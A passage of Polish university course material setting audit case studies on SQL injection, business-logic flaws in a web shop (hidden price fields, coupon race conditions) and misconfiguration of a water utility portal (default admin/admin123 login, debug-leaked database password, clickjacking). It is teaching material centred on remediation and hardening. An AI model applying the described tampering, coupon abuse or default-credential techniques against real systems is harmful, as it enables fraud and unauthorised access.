  Sformułujcie kartę niezgodności krytycznej (NC1) z odwołaniem do kontroli ISO/IEC 27001:2022 A.8.28 (Bezpieczne kodowanie) oraz A.8.26 (Wymagania bezpieczeństwa aplikacji). Sformułujcie szansę na doskonalenie (OFI) dotyczącą wdrożenia narzędzi SAST (Static Application Security Testing) do automatycznej analizy kodu w repozytorium git.

• Krok 4 (Koncepcja rozwiązania problemu):

  Zaprojektujcie kompleksowe rozwiązanie techniczne:

  1. Zastosowanie mechanizmu Prepared Statements z użyciem biblioteki PHP PDO:

  `$stmt = $pdo->prepare('SELECT id, przedmiot, wykladowca, sala FROM zajecia WHERE wykladowca LIKE :wykladowca');`

  `$stmt->execute(['wykladowca' => '%' . $szukaj . '%']);`

  2. Wdrożenie rygorystycznej zasady najniższych uprawnień (Least Privilege) w bazie danych: utworzenie dedykowanego użytkownika `dziekanat_web` z uprawnieniami ograniczonymi wyłącznie do `SELECT`, `INSERT`, `UPDATE` na wybranych tabelach, z bezwzględnym zakazem uprawnień administracyjnych (`SUPERUSER`) i modyfikacji schematu.

  3. Walidacja danych wejściowych: zastosowanie białej listy znaków (White-listing) oraz sanityzacji parametrów wejściowych.

• Krok 5 (Przygotowanie referatu i dokumentacji poaudytowej):

  Zestawcie wady i zalety przygotowanych rozwiązań (np. konieczność refaktoryzacji całego kodu aplikacji vs. całkowita odporność na SQLi) i opracujcie referat seminaryjny.

Plan prezentacji referatu seminaryjnego (10-15 minut):

• Wprowadzenie i charakterystyka systemu Wirtualny Dziekanat w PANS (2 min): Architektura systemu, znaczenie dla toku studiów i powód audytu (Student 1).
• Dekonstrukcja techniczna podatności A03:2021 - SQL Injection (4 min): Mechanizm konkatenacji zapytań, podatność formularza wyszukiwania, demonstracja ataku UNION-based oraz eskalacja uprawnień konta postgres (Student 2).
• Skutki organizacyjne, prawne i ryzyko akademickie (3 min): Zagrożenie fałszowania ocen, kradzież danych osobowych studentów, naruszenie RODO i utrata zaufania do uczelni (Student 3 lub Student 1).
• Prezentacja rozwiązań naprawczych oraz analiza wad i zalet (3 min): Implementacja Prepared Statements w PHP PDO, restrykcyjne uprawnienia w PostgreSQL, narzędzia SAST w potoku CI/CD (Student 2 i Student 3).
• Podsumowanie zaleceń poaudytowych i dyskusja z grupą (2 min): Wnioski końcowe i odpowiedzi na pytania sali (cały zespół).

Wymagana treść pisemnego raportu i referatu studenckiego:

1. Odpowiedzi na pytania problemowe:

• Na czym polega istota podatności SQL Injection i dlaczego zapytania parametryzowane (Prepared Statements) całkowicie uniemożliwiają interpretację danych wejściowych jako kodu polecenia SQL?
• Jakie niebezpieczeństwa rodzi uruchamianie aplikacji internetowej z uprawnieniami superużytkownika bazy danych (np. root w MySQL lub postgres w PostgreSQL)?
• W jaki sposób zautomatyzowane narzędzia skanowania kodu źródłowego (SAST) mogą zapobiegać wprowadzaniu podatności typu SQL Injection na etapie tworzenia oprogramowania?

2. Opis stanu faktycznego w Wirtualnym Dziekanacie i przebiegu testów audytowych.

3. Karta niezgodności audytowej z powołaniem na kontrolę A.8.28 ISO 27001 oraz art. 32 RODO.

4. Szczegółowe rozwiązanie problemu:

• Poprawny fragment kodu w języku PHP z wykorzystaniem PDO i Prepared Statements.
• Skrypt SQL tworzący dedykowanego użytkownika bazodanowego o uprawnieniach minimalnych (Least Privilege).
• Standard walidacji i filtrowania danych wejściowych w formularzach studenckich.

5. Analiza zalet i wad wybranego rozwiązania:

• Zalety: całkowita eliminacja wektora SQLi, separacja kodu od danych, ochrona integralności bazy danych i rejestrów ocen.
• Wady/wyzwania: nakład pracy programistycznej przy przepisywaniu przestarzałych zapytań, konieczność przeszkolenia zespołu programistów, ryzyko przeoczenia podatnych zapytań w rzadziej używanych modułach.

6. Bibliografia, netografia i odnośniki do norm i przepisów prawa (KRI, RODO, Prawo o szkolnictwie wyższym, OWASP).

• OWASP Foundation: "OWASP Top 10:2021", A03:2021 Injection.
• OWASP Foundation: "SQL Injection Prevention Cheat Sheet", 2023.
• OWASP Foundation: "Web Security Testing Guide (WSTG) v4.2", rozdział WSTG-INPV-05 (Testing for SQL Injection).
• Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.8.26 (Wymagania bezpieczeństwa aplikacji), A.8.28 (Bezpieczne kodowanie).
• Rozporządzenie Rady Ministrów z dnia 21 maja 2024 r. w sprawie Krajowych Ram Interoperacyjnych, minimalnych wymagań dla rejestrów publicznych i wymiany informacji w postaci elektronicznej oraz minimalnych wymagań dla systemów teleinformatycznych (Dz.U. z 2024 r. poz. 773).
• Ustawa z dnia 20 lipca 2018 r. - Prawo o szkolnictwie wyższym i nauce (Dz.U. z 2022 r. poz. 574 z późn. zm.).

• U2 Identyfikacja podatności SQL Injection oraz nieprawidłowych uprawnień konta bazodanowego.
• U1 Opracowanie zaleceń implementacji zapytań parametryzowanych i zasady najniższych uprawnień.
• U3 Szacowanie ryzyka sfałszowania danych w rejestrach ocen i kradzieży tożsamości studentów.
• U4 Sporządzenie raportu audytowego i wygłoszenie referatu seminaryjnego.
• W1W2W3 Zrozumienie mechanizmów wstrzykiwania kodu, normy ISO 27001 oraz zasad bezpiecznego kodowania.
• K1K2K3 Profesjonalizm i odpowiedzialność etyczna za bezpieczeństwo publicznych rejestrów akademickich.

W referacie przedstawcie porównanie podatnego fragmentu kodu sklejanego ze zoptymalizowanym kodem PDO, objaśniając mechanizm oddzielenia fazy kompilacji zapytania SQL od fazy przekazywania parametrów użytkownika.

Głównym celem zadania jest wykształcenie u studentów umiejętności badania, analizowania i diagnozowania błędów projektowych i podatności logiki biznesowej w aplikacjach internetowych (kategoria OWASP Top 10:2021 - A04:2021 Insecure Design). Studenci badają sklep internetowy e-commerce, w którym wdrożono wadliwy model przetwarzania zamówień polegający na przekazywaniu cen towarów i wartości rabatów bezpośrednio z przeglądarki klienta w ukrytych polach formularza HTTP POST oraz braku serwerowej weryfikacji warunków brzegowych transakcji (możliwość zakupu za ujemną lub zerową kwotę, wielokrotne użycie jednorazowych kodów promocyjnych). Zadanie koncentruje się na odróżnieniu błędów implementacyjnych od wad architektury i projektu (Design Flaws), ocenie strat finansowych przedsiębiorstwa oraz opracowaniu wzorcowego modelu bezpiecznego projektowania oprogramowania (Threat Modeling, serwerowa kalkulacja cen, asynchroniczna blokada kuponów).

Powiązanie z sylabusem i treściami programowymi:

• U2 Identyfikacja wad projektowych i luk logiki biznesowej (NC1/NC2) oraz ocena ich wpływu na ciągłość operacyjną platformy handlowej.
• U1 Opracowanie założeń architektury bezpiecznego przetwarzania transakcji e-commerce oraz procedury modelowania zagrożeń (Threat Modeling).
• U3 Szacowanie ryzyka strat finansowych wynikających z nadużyć zakupowych, sporów prawnych z konsumentami i naruszenia standardów PCI DSS.
• U4 Przygotowanie pisemnego referatu oraz ustrukturyzowanego raportu poaudytowego dla Zarządu Spółki i Dyrektora ds. E-commerce.
• W1 Znajomość przepisów Ustawy o prawach konsumenta, Kodeksu Cywilnego (zawarcie umowy sprzedaży przez internet) oraz standardów bezpieczeństwa płatności kartowych.
• W2W3 Zrozumienie wytycznych A04:2021 OWASP Top 10, metodologii OWASP Business Logic Testing (WSTG-BUSL), normy ISO/IEC 27001:2022 (kontrole A.8.25 Bezpieczny cykl życia rozwoju, A.8.27 Inżynieria bezpiecznych systemów) oraz metodyk modelowania zagrożeń STRIDE.
• K1K2K3 Zrozumienie biznesowych uwarunkowań cyberbezpieczeństwa, analityczne myślenie poza schematami technicznymi i ochrona interesu ekonomicznego przedsiębiorstwa.
• Powiązanie z wykładem: Wyk1 (Audyt bezpieczeństwa w sektorze komercyjnym), Wyk3 (Kontrole A.8.25 i A.8.27 ISO 27001), Wyk5 (Analiza ryzyka logiki biznesowej i BIA), Wyk6 (Analiza żądań HTTP i sesji zakupowych), Wyk7 (Klasyfikacja niezgodności i formułowanie zaleceń).

TatrySport.pl jest dynamicznie rozwijającym się polskim sklepem internetowym oferującym odzież górską, sprzęt wspinaczkowy i akcesoria outdoorowe. Platforma obsługuje miesięcznie ponad 25 000 zamówień i jest zintegrowana z popularnymi bramkami płatności online (PayU, BLIK).

Stan faktyczny w obszarze logiki biznesowej i architektury koszyka:

• Podczas audytu procesu zakupowego zbadano sposób naliczania wartości zamówienia, stosowania kuponów rabatowych oraz przekazywania parametrów do bramki płatności.
• Stwierdzono, że na etapie dodawania produktu do koszyka aplikacja umieszcza w formularzu HTML ukryte pola: `<input type="hidden" name="product_id" value="482">`, `<input type="hidden" name="price" value="899.00">` oraz `<input type="hidden" name="quantity" value="1">`.
• Po kliknięciu przycisku 'Przejdź do kasy' dane te wysyłane są żądaniem HTTP POST. Skrypt serwerowy `koszyk_kasa.php` bezkrytycznie przyjmuje wartość przekazaną w polu `price` i oblicza łączną kwotę zamówienia jako `price * quantity`, całkowicie pomijając pobranie aktualnej ceny produktu z oficjalnej bazy danych sklepu.
• Audytor, wykorzystując wbudowane narzędzia programistyczne przeglądarki (DevTools) lub lokalne proxy (OWASP ZAP), zmodyfikował wartość pola `price` z `899.00` na `1.00`, a następnie przeszedł do płatności. System wygenerował transakcję w bramce płatności na kwotę 1 PLN za profesjonalną kurtkę membranową o wartości rynkowej 899 PLN.
• Co więcej, w module bonów podarunkowych stwierdzono podatność typu Race Condition / brak walidacji stanu: wpisanie jednorazowego kodu rabatowego o wartości 100 PLN (`RABAT100`) w dwóch oddzielnych kartach przeglądarki jednocześnie spowodowało dwukrotne odliczenie rabatu (łączna zniżka 200 PLN).
• W przypadku dodania do koszyka produktu za kwotę 150 PLN i dwukrotnego zastosowania kodu rabatowego (2x 100 PLN), system obliczył łączną wartość zamówienia na `-50.00 PLN`, co doprowadziło do błędu skryptu bramki płatniczej i automatycznego oznaczenia zamówienia w bazie jako 'Opłacone / Gotowe do wysyłki' z jednoczesnym poleceniem zwrotu 50 PLN na konto klienta.

Zarząd TatrySport.pl, po wykryciu przez dział księgowości zamówień z anomaliami kwotowymi, zleca przeprowadzenie niezależnego audytu procesu projektowania i logiki aplikacji webowej.

Praca w zespole 2-3 osobowym polega na zbadaniu wad logiki biznesowej, analizie modelu zagrożeń oraz opracowaniu bezpiecznej architektury przetwarzania koszyka zakupowego:

• Krok 1 (Podział ról w grupie audytowej):

  Student 1 (Audytor Wiodący / Biznes i Prawne Aspekty E-commerce): Analizuje regulamin sklepu, procedury reklamacyjne, skutki prawne wynikające z art. 66 i art. 84 Kodeksu Cywilnego (błąd w oświadczeniu woli a zawarcie umowy sprzedaży po zaniżonej cenie), koordynuje strukturę referatu.

  Student 2 (Audytor Techniczny ds. Architektury Aplikacji i Testów Logiki): Analizuje mechanizm żądań HTTP w koszyku, podatności parametrów `price` i `quantity`, podatność wyścigu (Race Condition) w kuponach rabatowych oraz projektuje bezpieczny schemat kalkulacji serwerowej.

  Student 3 (Audytor Jakości SDLC i Modelowania Zagrożeń): Przeprowadza uproszczone modelowanie zagrożeń (metodyka STRIDE dla procesu zamówienia), weryfikuje brak kontroli A.8.25 i A.8.27 normy ISO 27001 oraz opracowuje procedury testów jednostkowych i integracyjnych weryfikujących warunki brzegowe. W zespole 2-osobowym obowiązki te dzielą Studenci 1 i 2.

• Krok 2 (Triangulacja dowodów audytowych):

  Zestawcie zrzuty ekranu żądań HTTP z modyfikacją parametru `price`, rekordy transakcji w bazie danych sklepu oraz logi transakcyjne bramki płatności wskazujące na autoryzację zaniżonych kwot. Wskażcie brak architektury Zero-Trust w relacji klient-serwer.

• Krok 3 (Kwalifikacja niezgodności):

  Sformułujcie kartę niezgodności krytycznej (NC1) z powołaniem na kontrolę ISO/IEC 27001:2022 A.8.25 (Bezpieczny cykl życia rozwoju) oraz A.8.27 (Inżynieria bezpiecznych systemów). Sformułujcie szansę na doskonalenie (OFI) dotyczącą wprowadzenia warsztatów Threat Modeling na etapie projektowania funkcjonalności sklepu.

• Krok 4 (Koncepcja rozwiązania problemu):

  Zaprojektujcie architekturę bezpiecznego koszyka zakupowego:

  1. Całkowite usunięcie cen z parametrów wejściowych klienta: formularz przekazuje wyłącznie identyfikator produktu (`product_id`) oraz żądaną liczbę sztuk (`quantity`). Cena jednostkowa, stawka VAT oraz dostępność magazynowa są każdorazowo pobierane z bazy danych przez serwer w momencie obliczania sumy koszyka.

  2. Walidacja wartości brzegowych: wymuszenie po stronie serwera zasady, że `quantity` musi być liczbą całkowitą dodatnią (quantity >= 1), a łączna wartość zamówienia po uwzględnieniu rabatów nie może być mniejsza od zera (suma >= 0).

  3. Atomowość transakcji i blokada kuponów: zastosowanie transakcji bazodanowych z blokadą wierszy (`SELECT ... FOR UPDATE`) podczas weryfikacji i oznaczania kuponu rabatowego jako 'wykorzystany', co eliminuje podatność Race Condition.

• Krok 5 (Przygotowanie referatu i dokumentacji poaudytowej):

  Zestawcie wady i zalety proponowanego podejścia (np. dodatkowe zapytania do bazy przy kalkulacji vs. całkowita ochrona przed oszustwami cenowymi) i przygotujcie referat seminaryjny.

Plan prezentacji referatu seminaryjnego (10-15 minut):

• Prezentacja platformy TatrySport.pl i kontekstu audytu logiki biznesowej (2 min): Profil sklepu, skala operacji i straty finansowe wywołane lukami projektowymi (Student 1).
• Dekonstrukcja podatności A04:2021 - Insecure Design (4 min): Różnica między błędem implementacyjnym a wadą projektu, demonstracja modyfikacji ukrytego pola ceny oraz wyścigu w kuponach rabatowych (Student 2).
• Skutki prawne i biznesowe według Kodeksu Cywilnego i prawa konsumenckiego (3 min): Kwestia ważności zawartych umów sprzedaży, roszczenia kupujących, naruszenie standardów PCI DSS i straty wizerunkowe (Student 3 lub Student 1).
• Prezentacja założeń bezpiecznej architektury i modelowania zagrożeń (3 min): Serwerowa kalkulacja cen, transakcje atomowe z blokadą kuponów, integracja modelowania STRIDE w procesie wytwórczym (Student 2 i Student 3).
• Podsumowanie, zalecenia naprawcze i dyskusja z grupą (2 min): Odpowiedzi na pytania słuchaczy i wnioski końcowe (cały zespół).

Wymagana treść pisemnego raportu i referatu studenckiego:

1. Odpowiedzi na pytania problemowe:

• Czym różni się błąd projektu (Insecure Design) od błędu implementacji (Insecure Implementation) i dlaczego testy penetracyjne na gotowej aplikacji często nie wykrywają wad logiki biznesowej?
• W jaki sposób zasada 'Nigdy nie ufaj danym od klienta' (Never Trust User Input) powinna być realizowana w architekturze nowoczesnych systemów e-commerce?
• Jakie konsekwencje prawne i finansowe dla sprzedawcy internetowego rodzi sytuacja, w której klient dokonał zakupu drogiego towaru za rażąco zaniżoną kwotę w wyniku błędu aplikacji (analiza art. 84 Kodeksu Cywilnego)?

2. Opis stanu faktycznego w sklepie TatrySport.pl i przebiegu symulacji nadużyć koszyka.

3. Karta niezgodności audytowej z powołaniem na kontrole A.8.25 i A.8.27 ISO 27001 oraz standardy e-commerce.

4. Szczegółowe rozwiązanie problemu:

• Diagram przepływu danych (Data Flow Diagram - DFD) bezpiecznego procesu zamówienia i kalkulacji cen wyłącznie po stronie serwera.
• Pseudokod modułu koszyka weryfikującego warunki brzegowe (ilość dodatnia, suma nieujemna).
• Mechanizm transakcyjnej blokady kuponu rabatowego uniemożliwiający wielokrotne użycie (Race Condition).

5. Analiza zalet i wad wybranego rozwiązania:

• Zalety: całkowite uniemożliwienie manipulacji cenami, eliminacja strat finansowych, szczelność systemu promocyjnego.
• Wady/wyzwania: nieznaczny wzrost liczby odpytań bazy danych, konieczność dokładnego zaprojektowania obsługi wygasania rezerwacji produktów i kuponów.

6. Bibliografia, netografia i odnośniki do norm i przepisów prawnych (Kodeks Cywilny, Ustawa o prawach konsumenta, OWASP Insecure Design).

• OWASP Foundation: "OWASP Top 10:2021", A04:2021 Insecure Design.
• OWASP Foundation: "Web Security Testing Guide (WSTG) v4.2", rozdział WSTG-BUSL (Business Logic Testing).
• Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.8.25 (Bezpieczny cykl życia rozwoju), A.8.27 (Inżynieria bezpiecznych systemów), A.8.29 (Testowanie bezpieczeństwa w rozwoju i akceptacji).
• Ustawa z dnia 23 kwietnia 1964 r. - Kodeks cywilny (Dz.U. z 2022 r. poz. 1360 z późn. zm.) - art. 66 i art. 84 (Wady oświadczenia woli).
• Ustawa z dnia 30 maja 2014 r. o prawach konsumenta (Dz.U. z 2020 r. poz. 287 z późn. zm.).
• Shostack A.: "Threat Modeling: Designing for Security", John Wiley & Sons, Indianapolis 2014.

• U2 Identyfikacja błędów logiki biznesowej i podatności w procesach przetwarzania transakcji.
• U1 Opracowanie zaleceń bezpiecznej architektury kalkulacji cen i modelowania zagrożeń STRIDE.
• U3 Szacowanie ryzyka strat finansowych i roszczeń prawnych w handlu internetowym.
• U4 Przygotowanie raportu poaudytowego dla kadry menedżerskiej oraz prezentacja referatu.
• W1W2W3 Zrozumienie kategorii Insecure Design, przepisów prawa konsumenckiego oraz normy ISO 27001.
• K1K2K3 Zdolność do łączenia analizy technicznej z uwarunkowaniami biznesowymi i finansowymi organizacji.

Podczas wystąpienia seminaryjnego przedstawcie schemat sekwencji żądań HTTP pomiędzy przeglądarką klienta, serwerem sklepu a bramką płatności, wskazując kluczowy punkt kontrolny, w którym musi nastąpić serwerowa weryfikacja ceny pobranej z bazy danych.

Głównym celem zadania jest opanowanie przez studentów praktycznych umiejętności wykrywania, weryfikacji i eliminacji błędów konfiguracji zabezpieczeń w środowiskach aplikacji internetowych (kategoria OWASP Top 10:2021 - A05:2021 Security Misconfiguration). Studenci badają portal internetowy komunalnego przedsiębiorstwa wodociągowo-kanalizacyjnego (obejmujący Biuletyn Informacji Publicznej oraz Elektroniczne Biuro Obsługi Klienta e-BOK), w którym zidentyfikowano pozostawienie domyślnych haseł administracyjnych, włączony produkcyjny tryb debugowania ze zrzutami ścieżek serwera i zapytań SQL (Stack Trace), brak nagłówków ochronnych (Content Security Policy, X-Frame-Options, X-Content-Type-Options) oraz podatność na atak podszywania pod interfejs (Clickjacking). Zadanie wymaga oceny zgodności z wymogami Ustawy o Krajowym Systemie Cyberbezpieczeństwa (KSC), Rozporządzenia ws. KRI oraz normy ISO/IEC 27001, a także opracowania sformalizowanej procedury utwardzania konfiguracji (Hardening Guide) dla serwerów WWW i aplikacji webowych.

Powiązanie z sylabusem i treściami programowymi:

• U2 Identyfikacja i klasyfikacja niezgodności (NC1/NC2) związanych z nieprawidłową konfiguracją środowiska serwerowego i aplikacji webowej.
• U1 Opracowanie projektu procedury utwardzania serwera WWW (Apache/NGINX) oraz wdrożenia nagłówków bezpieczeństwa HTTP.
• U3 Przeprowadzenie analizy ryzyka przejęcia panelu administracyjnego CMS, wycieku informacji technicznych oraz ataków socjotechnicznych typu Clickjacking.
• U4 Sporządzenie pisemnego referatu oraz ustrukturyzowanego sprawozdania z audytu konfiguracji dla Zarządu Spółki i Kierownika Działu IT.
• W1 Znajomość wymogów bezpieczeństwa systemów teleinformatycznych użyteczności publicznej w świetle Ustawy o KSC i przepisów KRI.
• W2W3 Zrozumienie kategorii A05:2021 OWASP Top 10, metodologii WSTG-CONF, normy ISO/IEC 27001:2022 (kontrole A.8.9 Zarządzanie konfiguracją, A.8.20 Bezpieczeństwo sieci, A.8.28 Bezpieczne kodowanie) oraz zaleceń CIS Benchmarks.
• K1K2K3 Systematyczność, dociekliwość w weryfikacji parametrów konfiguracyjnych oraz rzetelność w formułowaniu wytycznych utwardzania systemów.
• Powiązanie z wykładem: Wyk1 (Audyt w infrastrukturze komunalnej), Wyk3 (Kontrole A.8.9 i A.8.20 ISO 27001), Wyk4 (Wymogi KSC i KRI w przedsiębiorstwach użyteczności publicznej), Wyk6 (Analiza nagłówków HTTP, konfiguracji serwerów i logów), Wyk7 (Raportowanie niezgodności i formułowanie zaleceń).

Miejskie Przedsiębiorstwo Wodociągów i Kanalizacji w Piotrkowie Trybunalskim (MPWiK Sp. z o.o.) zarządza siecią wodno-kanalizacyjną zaopatrującą w wodę pitną ponad 70 000 mieszkańców. Spółka utrzymuje portal informacyjny z Biuletynem Informacji Publicznej (BIP) oraz portal e-BOK umożliwiający podawanie stanów wodomierzy i opłacanie faktur.

Stan faktyczny w obszarze konfiguracji systemów i aplikacji webowej:

• Portal BIP został wdrożony na popularnym systemie zarządzania treścią (CMS WordPress), natomiast portal e-BOK stanowi autorską aplikację napisaną w języku PHP na serwerze Apache.
• Podczas wstępnego rozpoznania audytorzy odkryli, że pod adresem `https://bip.mpwik-piotrkow.pl/admin` dostępny jest panel logowania ze standardowym kontem `admin`. Logowanie przy użyciu hasła `admin123` zakończyło się natychmiastowym uzyskaniem pełnych uprawnień administratora CMS (domyślne poświadczenia instalacyjne, które nie zostały zmienione po wdrożeniu przez wykonawcę).
• W portalu e-BOK celowe wywołanie błędu (np. wpisanie niepoprawnego typu danych w parametrze `id_faktury=ABC`) spowodowało wyświetlenie pełnego ekranu błędu środowiska frameworka z włączonym trybem debugowania (`APP_DEBUG=true`). Na ekranie widoczne były: pełna ścieżka do plików na dysku serwera (`/var/www/ebok/app/...`), wersja PHP, wersja bibliotek, zmienne środowiskowe zawierające login i hasło w jawnym tekście do produkcyjnej bazy danych (`DB_PASSWORD=WodaPiotrkow2024!`) oraz treść zapytania SQL ze zrzutem stosu wywołań.
• Badanie nagłówków odpowiedzi HTTP serwera WWW za pomocą narzędzia cURL wykazało całkowity brak podstawowych nagłówków ochronnych: brak `Content-Security-Policy`, brak `X-Frame-Options`, brak `X-Content-Type-Options` oraz brak flag `HttpOnly` i `Secure` przy ciasteczkach sesyjnych.
• Z powodu braku nagłówka `X-Frame-Options` portal e-BOK może zostać bez przeszkód osadzony wewnątrz ramki `<iframe>` na dowolnej zewnętrznej stronie internetowej, co pozwoliło audytorom na przygotowanie działającego dowodu koncepcji ataku Clickjacking (nałożenie przezroczystej ramki portalu e-BOK na fałszywy konkurs z nagrodami w celu wymuszenia nieświadomego kliknięcia przycisku 'Zmień numer konta do zwrotów nadpłat').

Kierownik Zespołu Bezpieczeństwa MPWiK powołuje zespół audytorski z zadaniem kompleksowego audytu konfiguracji środowiska webowego i przygotowania wytycznych hardeningowych.

Praca w zespole 2-3 osobowym polega na analizie podatności konfiguracyjnych, weryfikacji nagłówków HTTP oraz przygotowaniu formalnej procedury utwardzania serwera i aplikacji:

• Krok 1 (Podział ról w grupie audytowej):

  Student 1 (Audytor Wiodący / Polityka i Nadzór Wdrożeniowy): Dokonuje przeglądu procedur odbioru systemów od dostawców zewnętrznych, weryfikuje spełnienie wymagań KSC i KRI w zakresie zarządzania konfiguracją, przeprowadza wywiady z administratorem systemów i koordynuje przygotowanie referatu.

  Student 2 (Audytor Techniczny ds. Konfiguracji Serwerów WWW i CMS): Analizuje ustawienia serwera Apache (`httpd.conf`), konfigurację PHP (`php.ini` - wyłączenie `display_errors`), bada brak nagłówków bezpieczeństwa HTTP, podatność Clickjacking i przygotowuje reguły konfiguracyjne dla nagłówków `Content-Security-Policy`, `X-Frame-Options` oraz flag ciasteczek.

  Student 3 (Audytor Bezpieczeństwa Środowiskowego i Haseł Domyślnych): Bada procedury zarządzania hasłami domyślnymi, analizuje ryzyko wynikające z ujawnienia poświadczeń bazy danych w zrzucie stosu debugowania, weryfikuje zgodność z kontrolą A.8.9 normy ISO/IEC 27001 i standardami CIS Benchmarks. W zespole 2-osobowym obowiązki te dzielą Studenci 1 i 2.

• Krok 2 (Triangulacja dowodów audytowych):

  Zestawcie zrzuty ekranu panelu CMS zalogowanego na koncie domyślnym, pełną treść ekranu błędu w trybie debugowania oraz listę nagłówków odpowiedzi HTTP pobraną poleceniem `curl -I https://bip.mpwik-piotrkow.pl`. Wykażcie kumulację błędów konfiguracyjnych na różnych warstwach systemu.

• Krok 3 (Kwalifikacja niezgodności):

  Sformułujcie kartę niezgodności krytycznej (NC1) dotyczącą domyślnych haseł oraz wycieku danych w trybie debugowania w świetle kontroli ISO/IEC 27001:2022 A.8.9 (Zarządzanie konfiguracją) oraz § 20 KRI. Sformułujcie szansę na doskonalenie (OFI) w zakresie regularnego skanowania podatności serwerów.

• Krok 4 (Koncepcja rozwiązania problemu):

  Zaprojektujcie standard utwardzania (Hardening Guide) dla portali MPWiK:

  1. Eliminacja kont domyślnych: bezwzględna zmiana hasła konta administratora na unikalne, minimum 16-znakowe, zmiana domyślnego adresu panelu z `/admin` na unikalny alias oraz wdrożenie uwierzytelniania dwuskładnikowego (2FA) dla redaktorów BIP.

  2. Konfiguracja środowiska produkcyjnego: ustawienie w pliku konfiguracyjnym aplikacji zmiennej `APP_DEBUG=false`, a w pliku `php.ini` dyrektyw `display_errors = Off` oraz `log_errors = On` z zapisem błędów do chronionego pliku dziennika poza katalogiem publicznym serwera WWW.

  3. Wdrożenie nagłówków bezpieczeństwa w pliku `.htaccess` lub konfiguracji Apache:

  • `Header always set X-Frame-Options "SAMEORIGIN"` (ochrona przed Clickjackingiem)
  • `Header always set X-Content-Type-Options "nosniff"` (ochrona przed MIME Sniffing)
  • `Header always set Content-Security-Policy "default-src 'self'; script-src 'self'"` (ochrona przed XSS)
  • Wymuszenie flag ciasteczek: `session.cookie_httponly = 1`, `session.cookie_secure = 1`, `session.cookie_samesite = "Lax"`.
• Krok 5 (Przygotowanie referatu i dokumentacji poaudytowej):

  Zestawcie wady i zalety wdrożenia restrykcyjnej konfiguracji (np. ryzyko zablokowania zewnętrznych skryptów przez CSP vs. wysoki poziom cyberodporności) i przygotujcie referat seminaryjny.

Plan prezentacji referatu seminaryjnego (10-15 minut):

• Prezentacja komunalnego portalu MPWiK w Piotrkowie Trybunalskim (2 min): Rola portalu dla mieszkańców, wymogi ustawy o KSC i tło audytu (Student 1).
• Dekonstrukcja podatności A05:2021 - Security Misconfiguration (4 min): Omówienie domyślnych poświadczeń CMS, demonstracja wycieku danych w trybie debug, brak nagłówków HTTP i zasada ataku Clickjacking (Student 2).
• Analiza ryzyka wycieku infrastruktury i naruszenia przepisów KSC/KRI (3 min): Zagrożenie sabotażem danych komunalnych, odpowiedzialność kierownictwa i wymogi kontroli A.8.9 ISO 27001 (Student 3 lub Student 1).
• Przedstawienie procedury utwardzania (Hardening Guide) oraz analiza wad i zalet (3 min): Zmiana poświadczeń, wyłączenie trybu debugowania, konfiguracja nagłówków ochronnych i flag cookies (Student 2 i Student 3).
• Podsumowanie zaleceń i dyskusja z salą (2 min): Odpowiedzi na pytania słuchaczy i wnioski końcowe (cały zespół).

Wymagana treść pisemnego raportu i referatu studenckiego:

1. Odpowiedzi na pytania problemowe:

• Dlaczego pozostawienie domyślnych danych uwierzytelniających (Default Credentials) oraz włączonego trybu debugowania na środowisku produkcyjnym stanowi jedno z najgroźniejszych zaniechań konfiguracyjnych?
• Na czym polega atak Clickjacking (UI Redressing) i w jaki sposób nagłówek `X-Frame-Options` lub dyrektywa CSP `frame-ancestors` zapobiegają osadzaniu strony w obcych ramkach?
• Jakie informacje o strukturze serwera i baz danych może pozyskać potencjalny intruz z komunikatu błędu zawierającego zrzut stosu wywołań (Stack Trace)?

2. Opis stanu faktycznego w systemach webowych MPWiK i zidentyfikowanych uchybień konfiguracyjnych.

3. Karta niezgodności audytowej z powołaniem na kontrolę A.8.9 normy ISO/IEC 27001:2022 oraz § 20 KRI.

4. Szczegółowe rozwiązanie problemu:

• Wzorcowy zestaw dyrektyw serwera Apache/NGINX wdrażający nagłówki bezpieczeństwa (`X-Frame-Options`, `Content-Security-Policy`, `X-Content-Type-Options`, `Referrer-Policy`).
• Wycinek konfiguracji środowiska PHP (`php.ini`) z bezpiecznymi ustawieniami raportowania błędów i flag sesyjnych.
• Sformalizowana check-lista procedury utwardzania (Hardening Checklist) dla nowo wdrażanych aplikacji internetowych.

5. Analiza zalet i wad wybranego rozwiązania:

• Zalety: natychmiastowe podniesienie odporności na ataki zautomatyzowane, ochrona danych konfiguracyjnych przed ujawnieniem, eliminacja ataku Clickjacking.
• Wady/wyzwania: ryzyko zakłócenia działania aplikacji przy zbyt restrykcyjnej polityce CSP (blokada legalnych skryptów), konieczność utrzymywania procedur hardeningu przy każdej aktualizacji serwera.

6. Bibliografia, netografia i odnośniki do norm i przepisów prawa (KSC, KRI, CIS Benchmarks, OWASP).

• OWASP Foundation: "OWASP Top 10:2021", A05:2021 Security Misconfiguration.
• OWASP Foundation: "Web Security Testing Guide (WSTG) v4.2", rozdział WSTG-CONF (Configuration and Deployment Management Testing).
• Center for Internet Security: "CIS Apache HTTP Server 2.4 Benchmark v2.1.0", 2021.
• Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.8.9 (Zarządzanie konfiguracją), A.8.20 (Bezpieczeństwo sieci), A.8.28 (Bezpieczne kodowanie).
• Rozporządzenie Rady Ministrów z dnia 21 maja 2024 r. w sprawie Krajowych Ram Interoperacyjnych, minimalnych wymagań dla rejestrów publicznych i wymiany informacji w postaci elektronicznej oraz minimalnych wymagań dla systemów teleinformatycznych (Dz.U. z 2024 r. poz. 773) - § 20.
• Ustawa z dnia 5 lipca 2018 r. o krajowym systemie cyberbezpieczeństwa (Dz.U. z 2022 r. poz. 1868 z późn. zm.).

• U2 Identyfikacja błędów konfiguracyjnych serwera i aplikacji (hasła domyślne, tryb debug, brak nagłówków).
• U1 Opracowanie przewodnika utwardzania konfiguracji serwera WWW i nagłówków ochronnych.
• U3 Szacowanie ryzyka ujawnienia informacji wrażliwych i przejęcia paneli administracyjnych.
• U4 Przygotowanie raportu poaudytowego oraz wystąpienie seminaryjne przed grupą.
• W1W2W3 Znajomość kategorii Security Misconfiguration, normy ISO 27001, wymogów KSC i standardów CIS.
• K1K2K3 Dociekliwość inżynierska, rzetelność weryfikacji parametrów systemowych i kultura cyberhigieny.

Podczas prezentacji seminaryjnej zaprezentujcie słuchaczom analizę nagłówków HTTP pobranych z podatnego portalu oraz wskażcie, w jaki sposób nagłówek Content-Security-Policy blokuje wykonanie obcego kodu w przeglądarce użytkownika.

